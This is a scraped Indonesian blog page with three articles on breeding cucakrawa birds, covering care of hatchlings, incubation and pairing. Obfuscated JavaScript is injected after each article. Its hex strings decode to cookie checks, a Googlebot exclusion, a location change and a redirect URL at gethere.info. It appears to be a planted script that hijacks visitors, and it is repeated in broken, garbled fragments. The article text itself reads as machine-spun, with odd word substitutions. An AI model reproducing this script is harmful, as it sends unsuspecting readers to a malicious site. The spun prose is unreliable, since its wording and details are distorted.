IBX5980432E7F390 Perawatan Anakan Cucakrawa Saat Telur Menetas Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Anakan Cucakrawa Saat Telur Menetas Kupas Triknya

Perawatan Anakan Cucakrawa Saat Telur Menetas

Perawatan anakan cucakrawa ketika telur menetas – Setelah mengerami sekitar 13-14 hari greslah telur-telur menetas. Tidak semua telur bisa menetas. Terkadang ada telur yang tidak menetasi karena beberapa faktor tertentu.

Ketika telur menetas biarkan dahulu dengan induknya. Jangan pisahkan terlebih dahulu. Biarkan induknya mengasuh anaknya hingga anaknya sudah berumur beberapa minggu atau beberapa bulan.Perawatan Anakan Cucakrawa Saat Telur Menetas

Sebelum telur-telur menetas, siapkanlah perlengkapan yang diperlukan oleh anakan ketika sudah menetas. Biasanya, anakan yang gres menetas sangat menyukai telur semut atau biasa disebut dengan kroto.

Kroto disiapkan 5 hari sebelum anakan akan menetas. Tujuan penyiapan kroto sebelum anakan menetas adalah supaya ketika telur menetas dan ketika anakan tersebut kelaparan maka induknya mampu melolohnya dengan kroto tersebut.

Setelah menyiapkan kroto perlengkapan yang harus dipersiapkan selanjutnya adalah menyiapkan sarang yang lebih besar.

Mengingat induk akan mengasuh anaknya hingga beberapa ahad, tentulah sarang yang diperlukan lebih besar daripada sarang yang dipakai untuk mengerami telur. Lama-kelamaan anakan tersebut akan membesar dan sarang juga harus diperbesar.

Tidak semua penangkar yang membiarkan anakan diasuh oleh induknya. Ada sebagian penangkar yang mengasuh anakan cucakrawa sendiri ketimbang membiarkan induknya sendiri yang mengasuhnya.

Sebenarnya anakan yang diasuh oleh penangkar lebih efektif daripada yang diasuh oleh induknya. Keuntungan dari mengasuh anakan sendiri lebih besar daripada membiarkan anakan diasuh oleh induknya.

Selain kedua induk tersebut mampu dikawinkan lagi dan menghasilkan telur lagi, anakan yang penangkar didik mampu dibentuk aksaranya sesuai dengan cita-cita penangkar tersebut.

Apabila anakan diasuh oleh penangkar peralatan yang perlu dipersiapkan ialah sebuah sangkar yang khusus untuk anakan yang gres menetas.

Kandang ini tidak sama seakan-akan sangkar pada umumnya. Kandang ini berbentuk segi empat yang di dalamnya terdapat satu buah lampu bohlam. Untuk alasnya diberikan kertas atau koran yang sudah tidak terpakai lagi.

Suhu di dalam ruangan atau kandang tersebut harus 29 derajat Celcius. Tidak boleh berkurang dan tidak boleh bertambah. Jika berkurang maka burung yang ada di dalamnya akan kedinginan.

Dan kalau suhu terlalu tinggi maka burung yang ada di dalamnya akan kepanasan. Untuk mengatur suhu di dalam ruangan tersebut, sediakanlah temperatur ruangan. Dengan begitu, suhu ruangan bisa terjaga.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Merawat Cucakrawa Sedang Bertelur
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Cara Merawat Cucak Rawa Tangkapan Hutan Untuk Kontes
  • 4 Jenis Penyakit Cucakrawa Mematikan
  • Perawatan Harian Cucakrawa Supaya Gacor
  • Gejala Jenis Penyakit Pada Cucakrawa
  • Ukuran Kandang Penangkaran Cucakrawa
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Perawatan Cucakrawa Lomba dan Setelah Lomba
  • Habitat Penyebaran Burung Cucakrawa

Merawat Cucakrawa Sedang Bertelur

Merawat cucakrawa sedang bertelur – Proses produksi cucakrawa diawali dengan berbagi sangkar untuk burung yang akan dikawinkan. Ukuran sangkar yang dibuat sesuai dengan kebutuhan burung tersebut. Satu pasang cucakrawa dibutuhkan dua sangkar dan lalu sangkar tersebut didekatkan.

Setelah kandang akhir, tahap yang kedua yaitu memasukkan cucakrawa betina ke dalam sangkar dan biarkan si burung betina tersebut tenang dan mau berkicau.

Setelah itu, tahap selanjutnya adalah memasukkan cucakrawa jantan ke kandang yang satu lagi. Setelah itu pantaulah kedua burung tersebut.Merawat Cucakrawa Sedang Bertelur

Jika tidak ada kecocokan antara kedua burung tersebut segera pisahkan. Biasanya, kalau tidak cocok salah satu dari burung tersebut akan menyerang burung yang satunya lagi. Entah itu dari pihak cucakrawa jantan atau cucakrawa betina.

Apabila kedua burung tersebut berjodoh, maka mereka akan melaksanakan perkawinan. Setelah proses perkawinan tamat, lalu burung cucakrawa betina akan bertelur.

Sebelum bertelur, kedua burung tersebut akan membuat sarangnya sendiri. Biasanya sarang terbuat dari daun-daun kering. Agar kedua burung tersebut tidak kelamaan menciptakan sarangnya, penangkar mampu membantunya.

Setelah itu barulah proses peneluran berlangsung. Umumnya, burung akan bertelur sekitar 5 butir. Yang paling sedikit adalah 2 butir.

Sepasang burung tersebut akan mengerami telur-telurnya. Ketika kedua induk tersebut sedang mengerami telurnya berikanlah kuliner tambahan. Makanan komplemen tersebut seolah-olah jangkrik atau belalang.

Tujuan santunan kuliner aksesori yaitu supaya kedua indukan tersebut tetap vit ketika sedang mengerami telur-telurnya.

Usahakan letak sangkar atau kandang burung yang sedang kawin atau mengerami telur-telutnya jauh dari tempat yang ramai dan juga nyaman. Ketika sangkar atau kandang diletakkan di daerah yang riuh atau bising maka burung akan merasa terganggu.

Jika itu terjadi maka bisa saja burung tersebut tidak mau mengerami telur-telurnya. Tentu saja itu bisa berakibat jelek bagi telur-telurnya kalau tidak dierami. Telur-telur bisa gagal menetas atau kalaupun menetas nantinya akan menjadi cacat atau kekurangan fisik yang lainnya. Sekali lagi, kenyamanan sangkar burung memang perlu sangat ditekankan.

Ketika burung tersebut sedang mengerami telurnya tetapi beliau merasa sarangnya tidak nyaman untuk mengerami telurnya bisa saja dia akan pergi dann tidak mau mengerami telurnya. Kenyamanan burung haruslah dijaga. Setelah mengerami sekitar 14-15 hari barulah telur-telur tersebut menetas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)5))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • 4 Jenis Penyakit Cucakrawa Mematikan
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Perawatan Anakan Cucakrawa Saat Telur Menetas
  • Perawatan Cucakrawa Lomba dan Setelah Lomba
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Ciri Fisik Burung Cucakrawa Berkualitas Bagus
  • Kehidupan Cucak Rawa di Hutan Liar
  • Tata Tutorial Penangkaran Cucakrawa

Cara Menjodohkan Cucakrawa Bagi Pemula

Cara menjodohkan Cucakrawa bagi pemula – Bicara mengenai cara menjodohkan cucakrawa mungkin sudah tidak abnormal lagi di indera pendengaran kita. Bagi sebagian orang, menjodohkan cucakrawa adalah hal yang gampang-gampang sulit.

Apalagi bagi penangkar yang gres membuka perjuangan menangkarkan cucakrawa. Akan tetapi, bagi penangkar yang sudah berpengalaman, masalah menjodohkan cucakrawa bukanlah perkara yang sulit.

Kunci utama supaya menjodohkan cucakrawa sukses dilakukan adalah kedua burung tersebut memang sudah berjodoh dari awalnya.Cara Menjodohkan Cucakrawa Bagi Pemula

Jika begitu, maka kita tidak perlu lagi memaksakan kedua burung yang akan dijodohkan supaya berjodoh. Makara, cucakrawa hanya tinggal dikawinkan saja.

Akan tetapi, untuk menerima sepasang burung cucakrawa yang sudah berjodoh semenjak awal sekarang sudah sulit ditemukan.

Untuk itulah, menjodohkan burung perlu dilakukan. Tujuannya yaitu supaya sepasang burung tersebut dapat kawin dan keturunannya tidak punah begitu saja.

Hal yang paling utama dalam menjodohkan burung cucakrawa ialah siapkanlah sangkar penjodohan. Penggunaan sangkar penjodohan disarankan karena lebih efektif ketimbang sangkar pada umumnya.

Sediakan dua buah sangkar. Sangkar yang satu untuk burung jantan dan yang satu lagi untuk burung betina.

Dekatkanlah kedua sangkar itu hingga benar-benar tertempel. Tujuannya ialah supaya kedua burung yang dijodohkan mampu mengikuti keadaan dengan lingkungan sekitarnya.

Setelah itu, masukkan burung betina di dalam sangkar yang satu. Setelah dimasukkan, jangan mengusik ketenangan burung betina tersebut. Biarkan ia damai dahulu dan sudah mau berkicau di lingkungan sangkar barunya.

Langkah yang ketiga yaitu masukkan induk jantan di sangkar yang satunya lagi. Masukkanlah secara hati-hati. Jangan hingga ketenangan burung cucakrawa betina.

Apabila ketenangan burung betina terganggu lantaran kedatangan burung jantan, maka mampu dipastikan perjodohan tidak mampu dilakukan.

Setelah itu, periksalah kedua burung tersebut setiap harinya. Awalnya memang kedua burung tersebut tidak saling akur. Dan terkadang ada burung yang saling menyerang satu sama lainnya.

Jika sudah begitu, pisahkanlah kedua burung tersebut. Jangan dipaksakan untuk tetap berada di sangkar yang berdampingan.

Di dalam sangkar kedua indukan tersebut letakkanlah kuliner suplemen. Makanan perhiasan yang diberikan kepada burung seakan-akan jangkrik.

Usahakan dalam memberikan jangkrik harus kita yang menyampaikannya secara langsung. Sebab, perlindungan jangkrik secara pribadi dapat menjalin kedekatan antara kita dan si burung tersebut.

Setelah beberapa minggu, greslah kedua burung tersebut dapat akur satu sama lain. Tidak ada yang saling menyerang satu sama lainnya. Dan sehabis itu sepasang burung tersebut akan kawin dan bertelur.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)lg( g)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)mobile.+firefox)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Cara Menjinakan Burung Cucakrawa liar
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Mengenal Karakter Burung Cucak Rawa lokal
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Ukuran Kandang Penangkaran Cucakrawa
  • Tata Tutorial Penangkaran Cucakrawa
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Habitat Penyebaran Burung Cucakrawa
  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Anakan Cucakrawa Saat Telur Menetas Kupas Triknya"

Posting Komentar